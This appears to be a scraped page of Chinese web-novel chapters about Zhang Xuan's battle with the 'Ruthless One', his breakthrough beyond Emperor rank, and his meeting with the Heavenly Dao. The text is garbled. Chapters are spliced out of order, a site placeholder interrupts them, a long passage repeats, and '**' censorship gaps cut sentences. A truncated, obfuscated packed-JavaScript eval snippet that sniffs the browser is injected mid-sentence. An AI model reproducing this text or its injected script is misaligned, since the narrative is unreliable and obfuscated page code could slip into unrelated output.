相聚，也是情！ “万千情意，为我所用……” 一声低呼，张悬体内禁锢的境界，瞬间破开。 帝君桎梏，突破了！ 一瞬间，仿佛触摸到了一个全新的世界和大门，灵魂得到了快速的滋养。 无数混沌之气，涌了过来，肉身也飞速提升。 之前只有吸收灵力，才能进步，而现在空间乱流、混沌之气，哪怕是对方的青光，都可以为我所有，不分彼此。 “你……”狠人没想到，自己的全力攻击，非但没将其斩杀，反而成全了他，气的“哇哇！”乱叫，一声怒喝，再次攻击下来。 “你怨恨高高在上的帝君，没在空间乱流中救下自己，是情；觉得曾是我的仆人，蕴含卑微和愤怒，是情；想要毁灭神界，发泄愤怒，是情；想要变得更加强大，同样是情……情感控制着你，你又如何胜得过我，不被我控制？” 淡淡一笑，张悬的声音越来越快，越来越响亮，手掌轻轻一抓。 原本纵横无敌的狠人，就被无数情感细线，禁锢在一起，束手束脚，无法动弹。 只要有情，就要被他所用，被他控制！ “你……” 狠人眼中满是惶恐：“张师，我是你的仆人，不要杀我……我愿意灵魂献祭……” “现在再说这些，已经晚了……”微微一笑，张悬摇了摇头。 掌控天下之情，仆人之类对于他来说，已经没任何意义了。 杀了神级这么多人，伤了自己的女朋友，洛七七以及这么多朋友，今天，又怎么可能宽恕！ “不……” 感受到他的果决，狠人瞳孔收缩，话音未结束，立刻感到身上一阵剧烈的疼痛。 嘭！ 一刹那间，**开来，化作无数灵气，向神界各处灌涌。 之前，潮汐海吞噬掉的所有力量，此时全部反哺回来，已经枯竭的荒野，重新焕发生机。 “这……” “这样就杀了？” 云螭大帝、不死帝君、玲珑仙子啊等人，全都瞪大了眼睛，不敢相信。 刚才他们和狠人交过手，知道可怕，这么强大的人，竟然随手覆灭，这位张悬……到底达到了何种地步？ 难道帝君之上，真的还有另外的境界？ “他成功了……” 孔师和洛若曦，松开捏紧的拳头。 “这是天道的一部分，那我现在就归还天道……” 看到刚才从自己体内，被分离出来的“天道有缺”，依旧在空中悬浮，张悬轻轻一笑，屈指一弹。 嗡！ 从重生就伴随他的图书馆，轰然镶嵌在神界的天空之上。 大钟般的鸣响，不断崩溃的神界，肉眼可见的缓慢恢复，混乱的气流，也重新聚拢起来。 崩塌的神界，终于停了下来，干枯的灵气，也伴随狠人的死亡，慢慢复苏。 “看来，神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿，伴随天道的补全，已经恢复，神界恢复以前的盛况，只是时间问题。 “张悬，这边来……” 刚做完这些，脑中响起一个声音，张悬愣了一下，一步跨出。 这一步，不知飞了多远，随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈，你……” 看到是他，张悬一愣。 之前就觉得这位，深不可测，现在才发现，比起自己，也只差了一丝而已，已然达到了帝君的最巅峰，比起之前的洛若曦，都强大不知多少。 “直呼我名字即可，我叫……聂铜！”青年身上散发出一往无前的剑意，淡淡道。 “聂铜？”张悬皱了皱眉。 第一次听到这个名字。 “跟我来，带你见我哥哥！”叫做聂铜的青年莞尔一笑，向前跨步而出。 张悬紧跟在身后，不知飞了多远，在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少，双眉上扬，给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力，竟然比他还要强大，同样突破了帝君的桎梏，而且修为更加深远厚重！ “在下，聂云！”青年淡淡一笑，看了过来：“也就是……聂灵犀，你口中洛若曦的父亲！” “若曦的父亲？” 张悬一震：“你……是神界天道？” 之前洛若曦说过，自己的父亲，是天道，怎么都想不到，是这样一个年轻人。 “我一气化三清，一部分灵魂，变成了天道！再说，这个世界，是我创造的，说我是天道也无不可！”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的？ 那他的实力，该有多强？ “不对，如果神界是你创造的，你又是天道，为何任由狠人肆虐，而不出手……”张悬看过来。 如果不是自己突破，神界极有可能彻底崩塌，为何眼前这人，不管不问？ 甚至连女儿的生死，都关心？ 没回答他的问题，聂云淡淡的看过来：“你认为……神界之上，还有更加强大的生命吗？” “这……”张悬停顿了一下：“应该有吧……” 虽然没见过，但既然他能修炼到这种境界，或许其他人也可以，甚至更强。 就好像眼前这位。 “我曾怀疑，神界之上会有更强大的生命，所以用尽全力窥视，最终引来了更高世界的反噬……一个手掌破空而下！” 聂云看过来：“当时如果我躲闪，极有可能整个神界都会被抹平，再没有半个生命……所以，挡下了这招，但也因此，化身的天道被**出去。” “这种情况，我想恢复，只是一道意念而已，但……我明白，想要真正超脱神界桎梏，去探索手掌由何而来，神界之外，又有什么……单靠我一人很难做到。所以，想要看看，有没有生命，能够突破帝君桎梏，达到和我平齐的地步！” “所以，就将分散的天道意念，送到最底层的世界……分别赐予原本属于这个世界的灵魂，和一个不属于这个世界的灵魂。而你，最终没让我失望！” 聂云笑道。 “不属于这个世界的灵魂，这样说来，我穿越，也是因为你？”张悬心中一震。 难怪，能够穿越过来，没想到都是眼前这位所为。 “呵呵！”聂云轻轻一笑，道：“本身属于这个世界，就有着对世界的敬畏，想要突破世界桎梏，难度要大得多，我也是心念一动，并没想到，你真的能够成功……” “我……”张悬脸色一红：“如果不是孔师，我根本不可能达到这种地步……” 没有孔师的无私奉献，想要达到现在的境界，根本不可能做到。 “机会我给他了，没把握住而已。和灵犀的比斗，其实就是他突破的最佳机会，可惜，他选择了退避，以为自己留了后手，可以全身而退，实际上却是失去了勇猛精进，面对超越我们的人，如果连这点精神都没有，又如何能够与之抗衡？” 聂云道。 张悬沉默不语。 当时二人的战斗，他都看在眼里，孔师的确在果决上有些欠妥。 也有可能，他不愿意斩杀洛若曦吧。 可惜，就这一念之间，错过了晋级的机会。 “如果孔师获胜，若曦就会死……”片刻后，张悬看过来，眉毛皱起。 难不成，眼前这位连女儿的生死都不管了？ “有我在，她不会死……”聂云淡淡一笑：“你现在的实力，和我也差不了多少了，你觉得二人的实力，生死关头，想要救人，能不能做到？” “这……”张悬苦笑。 突破帝君，和帝君，是两个概念，如果他真的愿意出手，的确可以在最后关头将人救下，而且保证，一点伤都受不了。 “灵犀，是我另外一个妻子洛倾城所生，所以她伪装的名字，姓洛……为了能让她相信，不感情用事，到现在一直以为我还陷入昏迷……” 聂云苦笑一声：“我这个爹也算做得够狠了……这样吧，这件事还是你和她解释吧，毕竟，她现在的心思，已经转移到你身上了，我这个老爹，估计都想不起来了……哈哈，我暂时就不出现了，躲避上一段时间再说，不然，真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹，面皮一抽，张悬只好答应：“好吧……” 不答应也没办法，谁让自己拐走了人家的女儿…… “天道图书馆，是我一道意念所化，是根基，也是桎梏，你能靠自己的能力，突破桎梏，说明了能力和潜力，将来前途无量，我女儿能和你在一起，做父亲的，也算欣慰了。” 正在手打中，请稍等片刻，内容更新后，请重新刷新页面，即可获取最新更新！ 第三十三章 野男人 灵魂契约，契合灵魂，只要自己不解除，哪怕对方手段通天，都无法化解。 就好像不死帝君小黄鸡，之前只是神王，他是帝君，同样没办法解决这种约定。 为了防止这家伙变卦，出现反噬的现象，名师大陆就曾专门定下，即便对方可以脱离天道之册，也无法挣脱灵魂间的约定啊！ “灵魂契约，的确无法从识海中**出去，但我融合了连天道都可以化解的特殊气体，将这种契约化解掉，并不难……只要有足够力量，轰击契约所在之处，就能做到！” 狠人道。 灵魂契约，是建立在天道基础上的，特殊力量连神界天道都能化解，化解个灵魂契约，只要处理得当，又有何难？ “原来如此……”张悬目光一闪。 “和你说这么多，也算感谢将我带到神界了！” 解释完，狠人不再多说，身上的气息愈发的亘古悠远，身后的黑洞变得更加巨大，显然说话的功夫，又吞噬了不知多少力量，做了滋补。 “张悬，黑洞吞的越多，他的实力越强……” 洛若曦也发现了不对劲，急忙传音过来。 “准备动手吧！”心中疑惑尽消，张悬深吸一口气，手中长剑，陡然扬起：“既然如此，那就手底下见真章吧！” 轰隆！ 最强大的剑意，再次施展而出。 生当复来归，死当长相思！ 生死皆不在乎，又有何事可以阻拦？ 这一招剑法，虽然是没达到帝君领悟的，却蕴含了心中的一切执念，将体内的天若有情**，发挥到了极限。 呼！ 一剑将狠人的攻击，斩成两半。 同一时刻，洛若曦也出手了，玉手翻滚，剑芒如雪。 她的剑法和剑神天的那位青年有些相似，带着一往无前的气势，和大道自然的潇洒。 “你们的招数是很厉害，但对比我，还是差了些……” 轻轻一笑，狠人再次向下抓来。 一瞬间，遮天蔽日，手掌将天地都笼罩了，空间碎裂，日月星辰都仿佛要被硬生生打下来。 噗！噗！ 张悬和洛若曦同时倒飞而出，人在空中鲜血狂喷。 以二人的实力，竟然抵挡不住！ 这家伙到底达到了何种境界？ “放肆！”分身大步踏来，每走一步，就有莲花绽放，虚空中带着流水的声音。 远远看去，逼格十足。 炼化九天混沌金莲，他的修为比起张悬，丝毫不弱。 一拳扬起，力量冲上九天。 和狠人对碰，同样倒飞而出，挡不住一招。 张悬捂住额头。 成就帝君了，分身依旧不改装逼的本性…… 这么绚丽的装逼，还不如将力量集中起来，威力更大！ “一起出手，不然，他们**，我们都会死……” 小黄鸡一声大喝，赤红的的火焰燃烧，天空都像被点燃。 剩下六大帝君，也各自施展手段。 七位帝君联合，毁天灭地，一方天地在面前都抵挡不住，但对方是吸收了特殊力量的狠人，攻击来到跟前，黑洞陡然变大，眨眼功夫就将力量吞噬干净，紧着着反击而出。 嘭嘭嘭嘭！ 七位帝君和张悬等人一样，倒飞而出。 十大帝君，联合在一起，竟然都没挡住对方一招！ 这家伙，怎么会这么强大？ “你们可以**……” 一招击溃众人，狠人向前一步，手腕一翻，再次拍了下来。 “鼠辈敢尔！” 伴随一声大喝，之前剑神天的那位老者，突兀出现，挡在面前，手中长剑化作银河。 “帝君？他也是帝君实力？” 张悬瞳孔一缩。 这位老者当初跟在青年身后，本以为只是个随从，最多封号神王，施展出力量才发现，竟然也是一位帝君强者！ 如果他是帝君，那位青年，是什么？ “他本身就是剑神天的帝君……”挣扎站着身来，洛若曦咬牙道。 “那……传我剑法的青年呢？”张悬再也忍不住。 “他是……”洛若曦刚想回答，空间一阵扭曲，随即看到剑神天的这位帝君，同样倒飞了出去，落在不远处，砸出一个大坑。 张悬现在的实力，和对剑道的领悟，远超过他，都抗衡不住，他即便修为不弱，剑术高明，依旧不是对手。 “哈哈，帝君，一群土鸡瓦狗而已！今天我就灭了九天，灭了这神界，将一切规则踏平！” 将剑神天的帝君击败，狠人疯狂大笑，四周的空间不停坍塌，衬托的他如妖如魔。 “怎么办？”张悬拳头捏紧。 刚才他和分身，都施展出最强战斗力了，甚至眼前的洛若曦，也将最强招数使用了出来，都没挡住对方的一招…… 难道神界，真的没人能够挡住眼前这位？ 任由他将世界毁灭？ “唯一的办法……是将你的天道有缺，回归天道本身，让天道将他**……”洛若曦秀拳捏紧，眼眶泛红。 “回归天道本身？”张悬知道她的意思。 脑海中的图书馆，本身是天道的一部分，一旦回归，天道就等于彻底完整了，或许就可以修复漏洞，自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整，病毒来了，轻易驱赶；坏了，抵抗不住病毒入侵，再强壮的人，也会因此死亡。 只是…… “他太强大了，即便天道恢复完整，也无法**吧！”张悬摇头。 病毒，免疫系统是可以斩杀，但……猛虎呢？ 再强的免疫系统，又有什么办法？ 眼前这位，只是普通神王，哪怕封号，天道都可以轻易杀死，可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下，洁白的玉面上露出失落之色：“是啊……没办法**，但是，天道完整，他就能醒过来，斩杀这位，并不难！” “他？”张悬皱眉。 “我带你去见他，就在自在天……”深吸一口气，洛若曦一咬牙，转身就向前飞去。 “想逃？”狠人冷哼，向下一按。 嘭！ 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来，剑意辉煌而出。 叮叮叮！ 再次被狠人挡住。 “你们快走，我来挡住他……” 知道他们再想拯救神界的方法，而不是逃走，分身和不死帝尊，一声大喝挡在前面，洛七七也摇身一变，回归静空珠本体。 四周的空间凝固起来。 “走！” 见众人奋不顾身挡在后面，无畏惧死亡，张悬眼眶一红，不过，也知道现在不是多说的时候，一拉洛若曦，身体一晃，划破空间，下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在，神界崩塌，四处一片混乱。 “你说的他，在哪里？” 没空去观察普通人的生活，张悬看向怀中的女孩。 如果她说的那人，真能拯救神界，自己牺牲又何妨！ “他是我的父亲，你吊坠中的血液，就是他的，不死帝君，曾是他的兽宠……”洛若曦调息了一下，解释道。 “父亲？” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似，却又不同，原来是她父亲的。 这样也就解释了，为何不死帝君留下的那道意念，看到吊坠后，立刻认自己为主。 “你父亲也是帝君？或者拥有超越帝君的实力？” 忍不住道。 图书馆混乱，是吊坠中的血液，让自己恢复清醒，难不成，不仅她是帝君，父亲也是，甚至更加强大？ 如果是这样的话，又为何会昏迷？ 又需要天道有缺，才能让其清醒？ “他不是帝君，而是……天道！” 洛若曦秀拳捏紧。 “天道？你父亲……是天道？”张悬一震，不敢相信。 “是！五十年前，父亲抵挡不住那只大手，陷入昏迷，天道崩散成三部分，天道有序和天道有缺，进入空间乱流，我代为掌控天道自然，维持神界的平衡。想要让他恢复，只有将散开的部分收集……所以，我才如此决绝，不能失败！才专门进入名师大陆，研究春秋大典，想办法战胜孔师！和孔师战斗的时候，拜托他的事，也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久，眼前的女孩，就和自己讲述过她的故事，要救一位至亲，自己当时还不明白，现在才恍然大悟。 竟然是她父亲，而且还是神界天道！ 天道真的能够化成人形，并且生儿育女吗？ “代为掌控天道自然……你体内，没有天道碎片？”突然，意识到她语言中的不对劲，张悬看过来。 代为掌控，和自己这种融合在体内，是两种概念。 “我只是掌控，并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来，只需要自己将天道有缺剥离出来就行了，并不需要她也死亡。 尽管这种命运，不愿意接受，却也不愿意眼前的女孩，受到伤害。 “我将体内的天道有缺剥离出来，你父亲就能活过来，甚至将狠人击杀是吧？”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界，洛若曦迟疑。 神界是父亲的根基，现在根基都这样了，就算清醒，真的能够将那个强大的狠人击败吗？ 真不好说！ “看来你也不能肯定，既然如此，求人不如求己……我们只有自己想办法！”张悬咬了咬牙：“你、我、分身，联合九天九帝，如果在配合上孔师，未必不能获胜！” “孔师？他……”洛若曦皱眉。 “孔师已经**是吧！他并未真正死亡，如果猜的没错，他被你斩杀，只是用来脱离天道的方法……不出意外，他应该和魏长风一样，是【先天胎魂体】！” 张悬道。 看到魏长风，就明白过来，孔师所谓的保持灵智，应该和他一样，是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手，复活，只是时间问题。 洛若曦愣住，似乎她没想到，会是这样。 “过去看看就知道了，猜的不错，他应该已经恢复，不然，他的那些学生，不可能连潮汐海都没去……”张悬道。 孔师的那些学生，子渊古圣等人，个个实力强劲，就算没有帝君帮助，也必然有办法进入潮汐海，可却一个都没见。 必然是有更重要的事情等着，想要趁所有帝君去潮汐海无暇顾及的时候去做！ 而这种重要的事，明显就是让孔师恢复。 “这……”洛若曦心中一震，恍然大悟。 “走吧！” 不再解释，单手一划，张悬重新来到孔师居住的所在，果然看到一个老者盘膝悬浮在空中，见他们来到，微微一笑：“来了！” 不是孔师，又是何人！ 这位万世之师，果然没让自己失望！ 和猜测的一样，趁着所有人都将注意力集中在潮汐海的时候，重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活，不死帝君也活过来了，但……没想到速度这么快！ “我隐瞒天道，提前就准备了后手，幽魂池中的那个没有名字的巨人，就是我留下的，当日被你斩杀，我借机摆脱了天道的束缚，重新凝聚肉身，现在也刚刚恢复罢了！” 孔师微微一笑。 他精通时间能力，看起来神界只过了一、两天，实际上为了恢复力量，经历了不知多久。 几十年的时光，都有了。 “我们三人的实力，是很强，但想要胜过狠人，也没那么容易……” 见孔师果真恢复，洛若曦依旧摇头。 不是涨他人威风，灭自己志气，而是事实。 刚才这么多人联合，都没挡住对方，即便增加一个孔师，又能如何？ 同样改变不了局面！ “我们单个的实力，甚至联合在一起，的确不是对方的对手，但……如果将所有人的力量，都融合在一个人的身上呢？” 孔师笑着看过来。 “融合在一个人身上？” 这次不光洛若曦皱眉，张悬也满是疑惑。 “那个手掌能够撕裂神界，将天道都打散，实力之强，不容置疑，狠人将这股力量全部吸收，又吞噬了神界五十年的灵气，单凭实力，我们十几位帝君，单个拿出来，的确不是对手……” 孔师道：“但联合在一起，将力量集中在一人身上……就未必了吧！” “如何集中？” 洛若曦看过来。 说的简单，做起来难。 帝君已经站在神界最巅峰了，如果这么容易吸收别人的力量，她也不至于这么多年，停滞不前。 “很简单……我们将身上的力量，集中在张悬身上，一旦他能冲破帝君桎梏，就能救下神界！” 孔师道。 “我？”张悬一愣：“为什么是我？” “灵犀帝尊修炼的是自由自在，超脱自然！但有了父亲和天道的制约，有了牵挂的人，就永远没办法真正超脱！如果我没看错，当初和我战斗的时候，你也曾放弃过，打算被我斩杀吧！” 孔师道。 洛若曦说不出话来。 战斗的时候，的确有过这种打算，所以二人的交手，刚开始的时候，各自留着后手，宛如切磋，不像生死搏斗。 “无法超脱，自然也就发挥不出最强力量，即便给与再多的真气，同样无法冲击那至高的境界！至于我……” 孔师点头道：“心怀苍生，想要普度天下，却不愿意别人为我牺牲，仁慈太多，也是缺点！如果心狠一些，将异灵族灭族，就不会有现在的局面……” 当初如果能将异灵族人全部灭杀，狠人就不可能复活，也不会有现在的情况。 “所以，我也不适合！而张悬，**顺心，没有缺陷。讲究活出自我，哪怕身死，只要活得无愧，就心中坦荡。这种人拥有更大的包容，更大的发展空间，只有这样，才能走的更高，更远！” 孔师继续道。 生当复来归，死当长相思！ 连死亡都不在乎，又怎么会被其他事情所羁绊？ “这……”张悬皱眉，正想说些什么，就见孔师目光炯炯的看过来：“不用推辞了，先说时间来不及，去培养其他人，就算来得及，我也觉得未必有人能比你做得更好！灵犀帝尊体内虽没有天道碎片，却常年掌控天道，对天道有着属于自己的理解；我掌控天道有序，如果我们将力量灌输给你，你体内就会拥有完整天道的力量！配合上分身的九天混沌金莲，完全可以做到定九天，掌乾坤，战九霄，灭万物！” “好吧！” 见对方已经做出决定，自己解释再多也无用，张悬点了点头。 轰隆！ 盘膝做好，一眨眼功夫，两股雄浑的力量，就从两侧灌涌而来。 张悬全身一僵，整个人仿佛刹那间化身天道，翱翔在九天之上。 灵魂、肉身、真气，都在瞬间得到了洗礼，越来越强，越来越雄浑。 …… “你们也想拦我？也好，杀了你们，再去将张悬斩杀……” 将洛七七和分身等人拍飞，狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量，的确很强大，不过，和他比，依旧弱了一些。 潮汐海将神界出了城市外的灵气，几乎全部吞噬干净，现在这些力量，都化作他的寄养，举手投足，带着毁灭天地的能力，这些帝君、神王，尽管代表了神界最巅峰，依旧不堪一击。 此时的狠人，仿佛代表了整个神界，无人能挡。 “神界灭亡，我们活着也没意义，我云螭，与你同归于尽……” 云螭大帝变化出本体，一头巨大的五爪金龙，凌空向他扑了过去。 “就你？不配！” 狠人手掌一捏，金龙就挂在掌心，无论如何挣扎，都逃脱不掉。 “老友，等我！” 扶猛帝君也一声大吼，变化出白虎本尊，凌空来到跟前。 不死帝君，不死火凤本尊显示出来，火焰照耀天空。 玄冥大帝，本尊乃一头大龟，宛如托举着诸天。 四大神兽，镇守神界四极，同时变化本体，崩塌的神界，都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭！ 连续四掌，狠人将四兽**下来，眼中闪过一道浓烈的杀意：“既然你们找死，我就成全你们……” 咆哮声中，正想下死手将众人全部抹杀，就感到扬起的手臂一紧，在空中停了下来。 “想要杀他们，问过我没有……” 随即，众人震惊的目光中，一个人影从空中缓步走了出来。 正是张悬！ 此时的青年，全身力量澎湃，比刚才强大了十倍不止，自天而来，宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来，目光凝重。 他显然也没明白，为何短短几分钟的光景，对方的实力有了如此巨大的变化。 “不过，增加了又如何？全盛期的神界，都抵挡不住，我不信，你能挡得住我……” 一声冷哼，狠人再次拍落而下。 张悬长剑扬起，迎了上来。 双方战斗在一起，空间一道道撕裂，气流四处乱窜。 “张悬能不能获胜？” 自在天孔师驻地，洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬，自身修为，已经降低到只有神王级别，不如之前那么辉煌了。 不过，级别在哪里摆着，只要力量足够，终有一天，可以重新恢复。 “凭借现在的实力，想要胜过……很难！除非……他能领悟超越帝君的力量！” 沉默了片刻，孔师道。 十几个帝君联合，都无法胜过狠人，即便他们将力量全部传递给对方，想要胜过，也没那么容易。 之所以这样做，是因为……力量只有集中在一人身上，才有可能触碰到顶点，才有可能真正超越极限，突破自我！ “超越帝君的力量？” 洛若曦眼神悠远。 父亲还清醒的时候，曾和她说过同样的话，但……她无法做到，自己心爱的男子，能够做到吗？ “他一定能……他有着一颗不屈的心！和对这个世界的傲然。” 看出她心中的疑问，孔师笑道。 …… 嘭嘭嘭！ 连续几招下来，张悬虎口开裂，胸口出现了一道巨大的伤痕，狰狞可怖。 和孔师说的一样，即便融合了他们二人的力量，体内形成了完整的天道，依旧不是对手。 “哈哈，还以为多厉害，不过如此！”狠人冷冷一笑。 “反正不是你的对手，早晚都会**，既然如此，我想死在你最强的攻击之下……”深吸一口气，张悬停了下来，不在进攻，反而看向眼前的狠人。 “好，我成全你，给你最强的攻击……” 听他这样说，狠人愣了一下，随即冷哼一声，手掌扬起。 哗啦！ 一道青光出现在掌心，猛地拍落而下。 果然是最强攻击，整个神界都发出轰鸣，宛如快要承受不住，再次被打出一个巨大的坑洞。 双眼紧闭，张悬并未躲避。 嘭！ 脑袋炸裂开来，灵魂四处溃散。 “张悬……”看到这一幕，所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛，不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏，冲击超越帝境境界的，怎么不去反抗，甘心赴死？ 这样，岂不辜负了他们的一番好心？ “不对，是不死帝君的不死之法……” 正在奇怪，孔师突然开口。 众人随即看到，脑袋炸开，甚至灵魂碎裂的张悬，胸口的吊坠陡然炸开，一滴血液悬浮而起，燃烧起来，形成了一团炙热的火焰，火焰中，一具完好无损的身影，缓步而出。 “他……借助对方的力量，和吊坠中的血液，将天道有缺和灵魂分离了？” 洛若曦瞳孔收缩。 浴火重生后的张悬，体内竟然没了天道图书馆，没了天道的干扰，脱离了天道！ “他怎么做到的？” 孔师也满是不敢相信。 天道和灵魂融合在一起，不分彼此，为了摆脱，他不得不魂飞魄散，借助幽魂池重新凝聚魂魄。 眼前这位，只被斩杀了一下，就彻底摆脱，用了什么办法？ “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人，主人不解除，仆人就永远受制……天道图书馆也是这样，可以说是一种增强版的契约。 绑定了灵魂，不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约，具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你……”狠人没想到，自己的全力攻击，非但没将其斩杀，反而成全了他，气的“哇哇！”乱叫，一声怒喝，再次攻击下来。 “你怨恨高高在上的帝君，没在空间乱流中救下自己，是情；觉得曾是我的仆人，蕴含卑微和愤怒，是情；想要毁灭神界，发泄愤怒，是情；想要变得更加强大，同样是情……情感控制着你，你又如何胜得过我，不被我控制？” 淡淡一笑，张悬的声音越来越快，越来越响亮，手掌轻轻一抓。 原本纵横无敌的狠人，就被无数情感细线，禁锢在一起，束手束脚，无法动弹。 只要有情，就要被他所用，被他控制！ “你……” 狠人眼中满是惶恐：“张师，我是你的仆人，不要杀我……我愿意灵魂献祭……” “现在再说这些，已经晚了……”微微一笑，张悬摇了摇头。 掌控天下之情，仆人之类对于他来说，已经没任何意义了。 杀了神级这么多人，伤了自己的女朋友，洛七七以及这么多朋友，今天，又怎么可能宽恕！ “不……” 感受到他的果决，狠人瞳孔收缩，话音未结束，立刻感到身上一阵剧烈的疼痛。 嘭！ 一刹那间，**开来，化作无数灵气，向神界各处灌涌。 之前，潮汐海吞噬掉的所有力量，此时全部反哺回来，已经枯竭的荒野，重新焕发生机。 “这……” “这样就杀了？” 云螭大帝、不死帝君、玲珑仙子啊等人，全都瞪大了眼睛，不敢相信。 刚才他们和狠人交过手，知道可怕，这么强大的人，竟然随手覆灭，这位张悬……到底达到了何种地步？ 难道帝君之上，真的还有另外的境界？ “他成功了……” 孔师和洛若曦，松开捏紧的拳头。 “这是天道的一部分，那我现在就归还天道……” 看到刚才从自己体内，被分离出来的“天道有缺”，依旧在空中悬浮，张悬轻轻一笑，屈指一弹。 嗡！ 从重生就伴随他的图书馆，轰然镶嵌在神界的天空之上。 大钟般的鸣响，不断崩溃的神界，肉眼可见的缓慢恢复，混乱的气流，也重新聚拢起来。 崩塌的神界，终于停了下来，干枯的灵气，也伴随狠人的死亡，慢慢复苏。 “看来，神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿，伴随天道的补全，已经恢复，神界恢复以前的盛况，只是时间问题。 “张悬，这边来……” 刚做完这些，脑中响起一个声音，张悬愣了一下，一步跨出。 这一步，不知飞了多远，随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈，你……” 看到是他，张悬一愣。 之前就觉得这位，深不可测，现在才发现，比起自己，也只差了一丝而已，已然达到了帝君的最巅峰，比起之前的洛若曦，都强大不知多少。 “直呼我名字即可，我叫……聂铜！”青年身上散发出一往无前的剑意，淡淡道。 “聂铜？”张悬皱了皱眉。 第一次听到这个名字。 “跟我来，带你见我哥哥！”叫做聂铜的青年莞尔一笑，向前跨步而出。 张悬紧跟在身后，不知飞了多远，在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少，双眉上扬，给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力，竟然比他还要强大，同样突破了帝君的桎梏，而且修为更加深远厚重！ “在下，聂云！”青年淡淡一笑，看了过来：“也就是……聂灵犀，你口中洛若曦的父亲！” “若曦的父亲？” 张悬一震：“你……是神界天道？” 之前洛若曦说过，自己的父亲，是天道，怎么都想不到，是这样一个年轻人。 “我一气化三清，一部分灵魂，变成了天道！再说，这个世界，是我创造的，说我是天道也无不可！”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的？ 那他的实力，该有多强？ “不对，如果神界是你创造的，你又是天道，为何任由狠人肆虐，而不出手……”张悬看过来。 如果不是自己突破，神界极有可能彻底崩塌，为何眼前这人，不管不问？ 甚至连女儿的生死，都关心？ 没回答他的问题，聂云淡淡的看过来：“你认为……神界之上，还有更加强大的生命吗？” “这……”张悬停顿了一下：“应该有吧……” 虽然没见过，但既然他能修炼到这种境界，或许其他人也可以，甚至更强。 就好像眼前这位。 “我曾怀疑，神界之上会有更强大的生命，所以用尽全力窥视，最终引来了更高世界的反噬……一个手掌破空而下！” 聂云看过来：“当时如果我躲闪，极有可能整个神界都会被抹平，再没有半个生命……所以，挡下了这招，但也因此，化身的天道被**出去。” “这种情况，我想恢复，只是一道意念而已，但……我明白，想要真正超脱神界桎梏，去探索手掌由何而来，神界之外，又有什么……单靠我一人很难做到。所以，想要看看，有没有生命，能够突破帝君桎梏，达到和我平齐的地步！” “所以，就将分散的天道意念，送到最底层的世界……分别赐予原本属于这个世界的灵魂，和一个不属于这个世界的灵魂。而你，最终没让我失望！” 聂云笑道。 “不属于这个世界的灵魂，这样说来，我穿越，也是因为你？”张悬心中一震。 难怪，能够穿越过来，没想到都是眼前这位所为。 “呵呵！”聂云轻轻一笑，道：“本身属于这个世界，就有着对世界的敬畏，想要突破世界桎梏，难度要大得多，我也是心念一动，并没想到，你真的能够成功……” “我……”张悬脸色一红：“如果不是孔师，我根本不可能达到这种地步……” 没有孔师的无私奉献，想要达到现在的境界，根本不可能做到。 “机会我给他了，没把握住而已。和灵犀的比斗，其实就是他突破的最佳机会，可惜，他选择了退避，以为自己留了后手，可以全身而退，实际上却是失去了勇猛精进，面对超越我们的人，如果连这点精神都没有，又如何能够与之抗衡？” 聂云道。 张悬沉默不语。 当时二人的战斗，他都看在眼里，孔师的确在果决上有些欠妥。 也有可能，他不愿意斩杀洛若曦吧。 可惜，就这一念之间，错过了晋级的机会。 “如果孔师获胜，若曦就会死……”片刻后，张悬看过来，眉毛皱起。 难不成，眼前这位连女儿的生死都不管了？ “有我在，她不会死……”聂云淡淡一笑：“你现在的实力，和我也差不了多少了，你觉得二人的实力，生死关头，想要救人，能不能做到？” “这……”张悬苦笑。 突破帝君，和帝君，是两个概念，如果他真的愿意出手，的确可以在最后关头将人救下，而且保证，一点伤都受不了。 “灵犀，是我另外一个妻子洛倾城所生，所以她伪装的名字，姓洛……为了能让她相信，不感情用事，到现在一直以为我还陷入昏迷……” 聂云苦笑一声：“我这个爹也算做得够狠了……这样吧，这件事还是你和她解释吧，毕竟，她现在的心思，已经转移到你身上了，我这个老爹，估计都想不起来了……哈哈，我暂时就不出现了，躲避上一段时间再说，不然，真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹，面皮一抽，张悬只好答应：“好吧……” 不答应也没办法，谁让自己拐走了人家的女儿…… “天道图书馆，是我一道意念所化，是根基，也是桎梏，你能靠自己的能力，突破桎梏，说明了能力和潜力，将来前途无量，我女儿能和你在一起，做父亲的，也算欣慰了。” 